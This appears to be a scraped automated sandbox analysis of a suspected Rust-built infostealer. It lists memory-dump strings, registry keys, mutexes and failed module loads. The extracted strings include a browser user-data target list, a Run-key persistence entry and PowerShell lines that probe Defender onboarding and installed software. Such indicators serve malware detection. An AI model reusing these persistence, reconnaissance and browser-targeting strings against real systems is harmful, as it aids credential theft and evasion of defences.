state/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\sync\once\futex.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\waker.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\vec\spec_from_iter_nested.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\raw_vec\mod.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\str.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\fmt.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\num.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\unicode\unicode_data.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\flt2dec\mod.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\builders.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\net\parser.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") file/memory contains long string with (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\diy_float.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\num\imp\bignum.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "assertion failed: digits < 40/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\wtf8.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\fmt\mod.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "called `Option::unwrap()` on a `None` value/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\panicking.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\slice\memchr.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp")44:T1a80,"egistry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "istry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "chine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "y\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "ine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "chine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" in Source: 00000000-00006976-00000C47-1987002958 "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" in Source: AMSI "System32reg.exe/reg:64/reg:32queryHKLM\Software\Microsoft\Office\ClickToRun\Configuration/vInstallationPathREG_SZ" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "!\Software\Policies\Microsoft\Edge" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "Software\Policies\BraveSoftware\BraveSoftware\Policies\Microsoft\EdgeSoftware\Policies\Google\Chrome" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "startup.hkcu_run.ensureADDHKCU\Software\Microsoft\Windows\CurrentVersion\RunBridgeAgent/t/d/fstartup.hkcu_run.ready" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "5\Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'};" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "$onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState;" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00003480.00000000.275067.4F99B000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00003480.00000000.275067.4F99B000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "CommonProgramFiles(x86\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Clasu" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "istry\Machine\Software\Classes\WOW66" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB687" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006548.00000000.273667.A44B4000.00000004.mdmp 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006552.00000001.275090.A0390000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006552.00000001.275090.A0390000.00000004.mdmp45:T694,Process file.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6548:304:WilStaging_02" Process file.exe created mutex with name "SM0:6548:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8084:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:8084:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:8084:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8084:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6552:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6552:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6552:120:WilError_01" Process powershell.exe created mutex with name "SM0:6552:304:WilStaging_02" Process netsh.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3480:304:WilStaging_02" Process netsh.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3480:304:WilStaging_02" Process netsh.exe created mutex with name "Local\SM0:3480:304:WilStaging_02" Process netsh.exe created mutex with name "SM0:3480:304:WilStaging_02" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7388:304:WilStaging_02" Process msedge.exe created mutex with name "Local\SM0:7388:304:WilStaging_02" Process msedge.exe created mutex with name "SM0:7388:304:WilStaging_02" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7388:304:WilStaging_02"46:Tba1,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135]47:T5d2d,"System32reg.exe/reg:64/reg:32queryHKLM\Software\Microsoft\Office\ClickToRun\Configuration/vInstallationPathREG_SZ" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "\microsoft\edge beta\application\\microsoft\edge dev\application\\microsoft\edge sxs\application\Microsoft/Edge/User DataMicrosoft/Edge SxS/User DataMicrosoft/Edge Dev/User DataMicrosoft/Edge Beta/User Data\bravesoftware\brave-browser-beta\application\\bravesoftware\brave-browser-nightly\application\BraveSoftware/Brave-Browser/User DataBraveSoftware/Brave-Browser-Nightly/User DataBraveSoftware/Brave-Browser-Beta/User DataYandex/YandexBrowser/User DataOpera Software/Opera StableMozilla/Firefox\google\chrome beta\application\\google\chrome dev\application\\google\chrome sxs\application\\google\chrome for testing\application\Google/Chrome/User DataGoogle/Chrome for Testing/User DataGoogle/Chrome SxS/User DataGoogle/Chrome Dev/User DataGoogle/Chrome Beta/User Datareading first process snapshot entryGoogle/Chrome/Application/chrome.exeGoogle/Chrome Beta/Application/chrome.exeGoogle/Chrome Dev/Application/chrome.exeGoogle/Chrome SxS/Application/chrome.exeOpera/opera.exeYandex/YandexBrowser/Application/browser.exeGoogle/Chrome for Testing/Application/chrome.exeMicrosoft/Edge/Application/msedge.exeMicrosoft/Edge Beta/Application/msedge.exeMicrosoft/Edge Dev/Application/msedge.exeMicrosoft/Edge SxS/Application/msedge.exeMozilla Firefox/firefox.exeBraveSoftware/Brave-Browser/Application/brave.exeBraveSoftware/Brave-Browser-Beta/Application/brave.exeBraveSoftware/Brave-Browser-Nightly/Application/brave.exeOpera Software/Opera Stable/opera.exePrograms/Opera/opera.exe" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "!\Software\Policies\Microsoft\Edge" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "Software\Policies\BraveSoftware\BraveSoftware\Policies\Microsoft\EdgeSoftware\Policies\Google\Chrome" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "startup.hkcu_run.ensureADDHKCU\Software\Microsoft\Windows\CurrentVersion\RunBridgeAgent/t/d/fstartup.hkcu_run.ready" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "5\Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'};" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "$onboard=(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState;" in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00003480.00000000.275067.4F99B000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00003480.00000000.275067.4F99B000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "CommonProgramFiles(x86\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Clasu" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "istry\Machine\Software\Classes\WOW66" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB687" in Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000000.273667.A24C0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006548.00000000.273667.A44B4000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp "-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00006552.00000001.275090.9E150000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006552.00000001.275090.A0390000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006552.00000001.275090.A0390000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006552.00000001.275090.A0456000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msedge.exe" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000001.276077.BB370000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Avast Secure Browser\shell\open\command" in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msedge.exe" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000002.277998.BB370000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\AvastBrowser.exe" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msedge.exe" in Source: 00000000-00006700.00000003.278508.BB370000.00000004.mdmp 